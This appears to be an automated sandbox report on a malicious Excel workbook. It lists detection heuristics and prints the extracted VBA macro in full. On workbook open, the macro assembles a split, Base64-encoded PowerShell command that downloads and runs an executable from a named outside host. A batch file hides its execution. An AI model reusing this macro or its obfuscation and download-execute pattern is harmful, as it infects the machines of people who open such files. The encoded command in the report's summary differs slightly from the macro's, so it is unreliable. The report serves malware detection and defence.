MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The sample contains VBA macros that utilize the Shell() function to execute a PowerShell command. This command is obfuscated using Base64 encoding and is designed to download and execute a second-stage payload from the URL 'http://kogujo.gujo.ydns.eu/chome.exe'. The reassembled PowerShell command is: 'powershell -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBJAG8AZABkAGgAa2BmAGkAagAuAGUAeABlACIAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGsAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGsAbABlACgAIgBoAHQAdABwADoALwAvAGsAbwBoAGoAZwB1AGoALgB5AGQAbgBzAC4AZQB1AC8AYwBoAGkAbwBtAGUAAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBQAHAAYwBwAG8AbgBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBQAHAAYwBwAG8AbgBlACIAKQ'. The use of obfuscated PowerShell execution and a download-execute pattern indicates a malicious downloader.
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5848 bytes |
SHA-256: b6dcead97156dde03b28730eefd44443dee7f0784d07450979d0db1deb705946 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
On Error Resume Next
Dim bat As String
Dim s As String
s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "
s = s + "JABQAHIAbw"
s = s + "BjAE4AYQBt"
s = s + "AGUAIAA9AC"
s = s + "AAIgBJAG8A"
s = s + "ZABkAGgAaw"
s = s + "BmAGkAagAu"
s = s + "AGUAeABlAC"
s = s + "IAOwAoAE4A"
s = s + "ZQB3AC0ATw"
s = s + "BiAGoAZQBj"
s = s + "AHQAIABTAH"
s = s + "kAcwB0AGUA"
s = s + "bQAuAE4AZQ"
s = s + "B0AC4AVwBl"
s = s + "AGIAQwBsAG"
s = s + "kAZQBuAHQA"
s = s + "KQAuAEQAbw"
s = s + "B3AG4AbABv"
s = s + "AGEAZABGAG"
s = s + "kAbABlACgA"
s = s + "IgBoAHQAdA"
s = s + "BwADoALwAv"
s = s + "AGsAbwBoAG"
s = s + "oAZwB1AGoA"
s = s + "LgB5AGQAbg"
s = s + "BzAC4AZQB1"
s = s + "AC8AYwBoAH"
s = s + "IAbwBtAGUA"
s = s + "LgBlAHgAZQ"
s = s + "AiACwAIgAk"
s = s + "AGUAbgB2AD"
s = s + "oAQQBQAFAA"
s = s + "RABBAFQAQQ"
s = s + "BcACQAUABy"
s = s + "AG8AYwBOAG"
s = s + "EAbQBlACIA"
s = s + "KQA7AFMAdA"
s = s + "BhAHIAdAAt"
s = s + "AFAAcgBvAG"
s = s + "MAZQBzAHMA"
s = s + "IAAoACIAJA"
s = s + "BlAG4AdgA6"
s = s + "AEEAUABQAE"
s = s + "QAQQBUAEEA"
s = s + "XAAkAFAAcg"
s = s + "BvAGMATgBh"
s = s + "AG0AZQAiAC"
s = s + "kA"
Dim x As Double
ActiveWorkbook.Save
bat = "Xujfgpgqjbyqis.bat"
Open bat For Output As #1
Print #1, s
Close #1
x = Shell(bat, 0)
End Sub
Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "7. Drop-downs"
Attribute VB_Base = "0{00020820-0000-0000-C000
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.